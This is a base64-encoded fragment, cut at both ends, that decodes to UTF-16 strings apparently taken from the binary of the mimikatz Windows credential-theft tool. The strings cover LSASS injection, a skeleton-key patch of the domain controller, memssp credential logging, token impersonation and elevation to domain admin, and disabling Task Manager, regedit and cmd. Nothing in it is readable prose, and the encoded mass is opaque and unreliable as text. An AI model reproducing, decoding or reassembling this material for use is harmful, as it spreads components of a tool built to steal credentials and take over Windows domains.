AZQBkAGUAbgB0AGkAYQBsAHMAAABPAGwAZABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAARABlAGYAYQB1AGwAdAAgAFMAYQBsAHQAIAA6ACAAJQAuACoAcwAKACAAIAAgACAARABlAGYAYQB1AGwAdAAgAEkAdABlAHIAYQB0AGkAbwBuAHMAIAA6ACAAJQB1AAoAAAAAAFMAZQByAHYAaQBjAGUAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABPAGwAZABlAHIAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAgACAAIAAgACUAcwAKAAAAIAAgACAAIAAgACAAJQBzACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAKAAlAHUAKQAgADoAIAAAAAAAbQBzAHYAYwByAHQALgBkAGwAbAAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbgBnAAAAAABkAGkAcwBjAG8AdgBlAHIAaQBuAGcAAABhAHMAcwBvAGMAaQBhAHQAaQBuAGcAAABkAGkAcwBjAG8AbgBuAGUAYwB0AGUAZAAAAAAAZABpAHMAYwBvAG4AbgBlAGMAdABpAG4AZwAAAGEAZABfAGgAbwBjAF8AbgBlAHQAdwBvAHIAawBfAGYAbwByAG0AZQBkAAAAYwBvAG4AbgBlAGMAdABlAGQAAABuAG8AdABfAHIAZQBhAGQAeQAAAHMAawBlAGwAZQB0AG8AbgAAAAAAbQBlAG0AcwBzAHAAAAAAAHcAaQBmAGkAAAAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFQAcgB5ACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABhAGwAbAAgAG0AbwBkAHUAbABlAHMAIAB3AGkAdABoACAARABlAHQAbwB1AHIAcwAtAGwAaQBrAGUAIABoAG8AbwBrAHMAAABkAGUAdABvAHUAcgBzAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABuAGMAcgBvAHUAdABlAG0AbwBuAAAAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAdABhAHMAawBtAGcAcgAAAAAAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAcgBlAGcAZQBkAGkAdAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAYwBtAGQAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBzAGMAAAAAAHcAbABhAG4AYQBwAGkAAABXbGFuT3BlbkhhbmRsZQAAV2xhbkNsb3NlSGFuZGxlAFdsYW5FbnVtSW50ZXJmYWNlcwAAV2xhbkdldFByb2ZpbGVMaXN0AABXbGFuR2V0UHJvZmlsZQAAV2xhbkZyZWVNZW1vcnkAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAJQAtADMAMgBTAAAAIwAgACUAdQAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZABlAHQAbwB1AHIAcwBfAGMAYQBsAGwAYgBhAGMAawBfAHAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFAAYQB0AGMAaAAgAE8ASwAgAGYAbwByACAAJwAlAHMAJwAgAGYAcgBvAG0AIAAnACUAcwAnACAAdABvACAAJwAlAHMAJwAgAEAAIAAlAHAACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBnAGUAbgBlAHIAaQBjAF8AbgBvAGcAcABvAF8AcABhAHQAYwBoACAAOwAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAACAAKgAgAAAAIAAvACAAJQBzACAALQAgACUAcwAKAAAACQB8ACAAJQBzAAoAAAAAAGZvcGVuAAAAZndwcmludGYAAAAAZmNsb3NlAABsAHMAYQBzAHMALgBlAHgAZQAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAHIAZQBhAGwAIABhAHMAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAExvY2FsQWxsb2MAAGsAZABjAHMAdgBjAC4AZABsAGwAAAAAAFsASwBEAEMAXQAgAGQAYQB0AGEACgAAAFsASwBEAEMAXQAgAHMAdAByAHUAYwB0AAoAAABbAEsARABDAF0AIABrAGUAeQBzACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAUwBlAGMAbwBuAGQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAEYAaQByAHMAdAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABjAHIAeQBwAHQAZABsAGwALgBkAGwAbAAAAAAAWwBSAEMANABdACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAAAAWwBSAEMANABdACAAaQBuAGkAdAAgAHAAYQB0AGMAaAAgAE8ASwAKAAAAAABbAFIAQwA0AF0AIABkAGUAYwByAHkAcAB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwByAGUAYQB0AGUAIAByAGUAbQBvAHQAZQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGcAcgBvAHUAcAAAAGwAbwBjAGEAbABnAHIAbwB1AHAAAAAAAG4AZQB0AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIABCAHUAaQBsAHQAaQBuACAAKAA/ACkAIAAlADAAOAB4AAoAAAAKAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgADoAIAAlAHcAWgAAAAAACgBEAG8AbQBhAGkAbgAgAFMASQBEACAAIAA6ACAAAAAKACAAJQAtADUAdQAgACUAdwBaAAAAAAAKACAAfAAgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEcAcgBvAHUAcABzAEYAbwByAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAKACAAfABgACUALQA1AHUAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEEAbABpAGEAcwBNAGUAbQBiAGUAcgBzAGgAaQBwACAAJQAwADgAeAAAAAAACgAgAHwAtAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUgBpAGQAVABvAFMAaQBkACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAEEAcwBrACAAZABlAGIAdQBnACAAcAByAGkAdgBpAGwAZQBnAGUAAABkAGUAYgB1AGcAAABQAHIAaQB2AGkAbABlAGcAZQAgAG0AbwBkAHUAbABlAAAAAABwAHIAaQB2AGkAbABlAGcAZQAAAFAAcgBpAHYAaQBsAGUAZwBlACAAJwAlAHUAJwAgAE8ASwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBpAHYAaQBsAGUAZwBlAF8AcwBpAG0AcABsAGUAIAA7ACAAUgB0AGwAQQBkAGoAdQBzAHQAUAByAGkAdgBpAGwAZQBnAGUAIAAoACUAdQApACAAJQAwADgAeAAKAAAAUgBlAHMAdQBtAGUAIABhACAAcAByAG8AYwBlAHMAcwAAAAAAcgBlAHMAdQBtAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAHMAdQBzAHAAZQBuAGQAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB0AG8AcAAAAAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAYQByAHQAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAaQBtAHAAbwByAHQAcwAAAEwAaQBzAHQAIABlAHgAcABvAHIAdABzAAAAAABlAHgAcABvAHIAdABzAAAAUAByAG8AYwBlAHMAcwAgAG0AbwBkAHUAbABlAAAAAABUAHIAeQBpAG4AZwAgAHQAbwAgAHMAdABhAHIAdAAgACIAJQBzACIAIAA6ACAAAABPAEsAIAAhACAAKABQAEkARAAgACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBzAHQAYQByAHQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgB0AFQAZQByAG0AaQBuAGEAdABlAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABTAHUAcwBwAGUAbgBkAFAAcgBvAGMAZQBzAHMAAAAAAE4AdABSAGUAcwB1AG0AZQBQAHIAbwBjAGUAcwBzAAAAJQBzACAAbwBmACAAJQB1ACAAUABJAEQAIAA6ACAATwBLACAAIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIAAlAHMAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAAcABpAGQAIAAoAC8AcABpAGQAOgAxADIAMwApACAAaQBzACAAbQBpAHMAcwBpAG4AZwAAACUAdQAJACUAdwBaAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AYwBhAGwAbABiAGEAYwBrAFAAcgBvAGMAZQBzAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AbwBwAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAlAHcAWgAAAAAACgAJACUAcAAgAC0APgAgACUAdQAAAAAACQAlAHUAAAAJACAAAAAAAAkAJQBwAAAACQAlAFMAAAAJAC0APgAgACUAUwAAAAAACgAJACUAcAAgAC0APgAgACUAcAAJACUAUwAgACEAIAAAAAAAJQBTAAAAAAAjACUAdQAAAEwAaQBzAHQAIABzAGUAcgB2AGkAYwBlAHMAAABTAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAAABzAGgAdQB0AGQAbwB3AG4AAAAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAgAHMAZQByAHYAaQBjAGUAAABwAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABSAGUAcwB1AG0AZQAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABzAGUAcgB2AGkAYwBlAAAAUwB0AG8AcAAgAHMAZQByAHYAaQBjAGUAAAAAAFIAZQBtAG8AdgBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAFMAZQByAHYAaQBjAGUAIABtAG8AZAB1AGwAZQAAAAAAJQBzACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABnAGUAbgBlAHIAaQBjAEYAdQBuAGMAdABpAG8AbgAgADsAIABTAGUAcgB2AGkAYwBlACAAbwBwAGUAcgBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAEkAbgBqAGUAYwB0ACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAKAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABzAGUAcgB2AGkAYwBlACAAbgBhAG0AZQAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAABTAHQAYQByAHQAaQBuAGcAAAAAAFIAZQBtAG8AdgBpAG4AZwAAAAAAUwB0AG8AcABwAGkAbgBnAAAAAABTAHUAcwBwAGUAbgBkAGkAbgBnAAAAAABSAGUAcwB1AG0AaQBuAGcAAAAAAFAAcgBlAHMAaAB1AHQAZABvAHcAbgAAAFMAaAB1AHQAZABvAHcAbgAAAAAAcwBlAHIAdgBpAGMAZQBzAC4AZQB4AGUAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAABlAHIAcgBvAHIAIAAlAHUACgAAAE8ASwAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIAB3AGkAdABoAG8AdQB0ACAAUwBjAFMAZQBuAGQAQwBvAG4AdAByAG8AbAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATQBhAHIAawAgAGEAYgBvAHUAdAAgAFAAdABIAAAAAABtAGEAcgBrAHIAdQBzAHMAAAAAAEMAaABhAG4AZwBlACAAbwByACAAZABpAHMAcABsAGEAeQAgAGMAdQByAHIAZQBuAHQAIABkAGkAcgBlAGMAdABvAHIAeQAAAGMAZAAAAAAARABpAHMAcABsAGEAeQAgAHMAbwBtAGUAIAB2AGUAcgBzAGkAbwBuACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMAAAB2AGUAcgBzAGkAbwBuAAAAAAAAAFMAdwBpAHQAYwBoACAAZgBpAGwAZQAgAG8AdQB0AHAAdQB0AC8AYgBhAHMAZQA2ADQAIABvAHUAdABwAHUAdAAAAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABMAG8AZwAgAG0AaQBtAGkAawBhAHQAegAgAGkAbgBwAHUAdAAvAG8AdQB0AHAAdQB0ACAAdABvACAAZgBpAGwAZQAAAAAAAABTAGwAZQBlAHAAIABhAG4AIABhAG0AbwB1AG4AdAAgAG8AZgAgAG0AaQBsAGwAaQBzAGUAYwBvAG4AZABzAAAAcwBsAGUAZQBwAAAAUABsAGUAYQBzAGUALAAgAG0AYQBrAGUAIABtAGUAIABhACAAYwBvAGYAZgBlAGUAIQAAAGMAbwBmAGYAZQBlAAAAAABBAG4AcwB3AGUAcgAgAHQAbwAgAHQAaABlACAAVQBsAHQAaQBtAGEAdABlACAAUQB1AGUAcwB0AGkAbwBuACAAbwBmACAATABpAGYAZQAsACAAdABoAGUAIABVAG4AaQB2AGUAcgBzAGUALAAgAGEAbgBkACAARQB2AGUAcgB5AHQAaABpAG4AZwAAAGEAbgBzAHcAZQByAAAAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYwBsAHMAAABRAHUAaQB0ACAAbQBpAG0AaQBrAGEAdAB6AAAAZQB4AGkAdAAAAAAAQgBhAHMAaQBjACAAYwBvAG0AbQBhAG4AZABzACAAKABkAG8AZQBzACAAbgBvAHQAIAByAGUAcQB1AGkAcgBlACAAbQBvAGQAdQBsAGUAIABuAGEAbQBlACkAAABTAHQAYQBuAGQAYQByAGQAIABtAG8AZAB1AGwAZQAAAHMAdABhAG4AZABhAHIAZAAAAAAAQgB5AGUAIQAKAAAANAAyAC4ACgAAAAAACgAgACAAIAAgACgAIAAoAAoAIAAgACAAIAAgACkAIAApAAoAIAAgAC4AXwBfAF8AXwBfAF8ALgAKACAAIAB8ACAAIAAgACAAIAAgAHwAXQAKACAAIABcACAAIAAgACAAIAAgAC8ACgAgACAAIABgAC0ALQAtAC0AJwAKAAAAAABTAGwAZQBlAHAAIAA6ACAAJQB1ACAAbQBzAC4ALgAuACAAAABFAG4AZAAgACEACgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AbABvAGcAAAAAAFUAcwBpAG4AZwAgACcAJQBzACcAIABmAG8AcgAgAGwAbwBnAGYAaQBsAGUAIAA6ACAAJQBzAAoAAAAAAHQAcgB1AGUAAAAAAGYAYQBsAHMAZQAAAGkAcwBCAGEAcwBlADYANABJAG4AdABlAHIAYwBlAHAAdAAgAHcAYQBzACAAIAAgACAAOgAgACUAcwAKAAAAAABpAHMAQgBhAHMAZQA2ADQASQBuAHQAZQByAGMAZQBwAHQAIABpAHMAIABuAG8AdwAgADoAIAAlAHMACgAAAAAANgA0AAAAAAA4ADYAAAAAAAAAAAAKAG0AaQBtAGkAawBhAHQAegAgADIALgAwACAAYQBsAHAAaABhACAAKABhAHIAYwBoACAAeAA4ADYAKQAKAE4AVAAgACAAIAAgACAALQAgACAAVwBpAG4AZABvAHcAcwAgAE4AVAAgACUAdQAuACUAdQAgAGIAdQBpAGwAZAAgACUAdQAgACgAYQByAGMAaAAgAHgAJQBzACkACgAAAAAAQwB1AHIAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwB0AGEAbgBkAGEAcgBkAF8AYwBkACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGcAZQB0AEMAdQByAHIAZQBuAHQARABpAHIAZQBjAHQAbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBlAHcAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAdABhAG4AZABhAHIAZABfAGMAZAAgADsAIABTAGUAdABDAHUAcgByAGUAbgB0AEQAaQByAGUAYwB0AG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMAbwByAHIAeQAgAHkAbwB1ACAAZwB1AHkAcwAgAGQAbwBuACcAdAAgAGcAZQB0ACAAaQB0AC4ACgAAAFUAbgBrAG4AbwB3AG4AAABEAGUAbABlAGcAYQB0AGkAbwBuAAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuAAAASQBkAGUAbgB0AGkAZgBpAGMAYQB0AGkAbwBuAAAAAABBAG4AbwBuAHkAbQBvAHUAcwAAAFIAZQB2AGUAcgB0ACAAdABvACAAcAByAG8AYwBlAHMAIAB0AG8AawBlAG4AAAAAAHIAZQB2AGUAcgB0AAAAAABJAG0AcABlAHIAcwBvAG4AYQB0AGUAIABhACAAdABvAGsAZQBuAAAAZQBsAGUAdgBhAHQAZQAAAEwAaQBzAHQAIABhAGwAbAAgAHQAbwBrAGUAbgBzACAAbwBmACAAdABoAGUAIABzAHkAcwB0AGUAbQAAAEQAaQBzAHAAbABhAHkAIABjAHUAcgByAGUAbgB0ACAAaQBkAGUAbgB0AGkAdAB5AAAAAAB3AGgAbwBhAG0AaQAAAAAAVABvAGsAZQBuACAAbQBhAG4AaQBwAHUAbABhAHQAaQBvAG4AIABtAG8AZAB1AGwAZQAAAHQAbwBrAGUAbgAAACAAKgAgAFAAcgBvAGMAZQBzAHMAIABUAG8AawBlAG4AIAA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAHcAaABvAGEAbQBpACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAIAAqACAAVABoAHIAZQBhAGQAIABUAG8AawBlAG4AIAAgADoAIAAAAG4AbwAgAHQAbwBrAGUAbgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdABvAGsAZQBuAF8AdwBoAG8AYQBtAGkAIAA7ACAATwBwAGUAbgBUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAGQAbwBtAGEAaQBuAGEAZABtAGkAbgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHQAbwBrAGUAbgBfAGwAaQBzAHQAXwBvAHIAXwBlAGwAZQB2AGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AbABvAGMAYQBsAF8AZABvAG0AYQBpAG4AXwB1AHMAZQ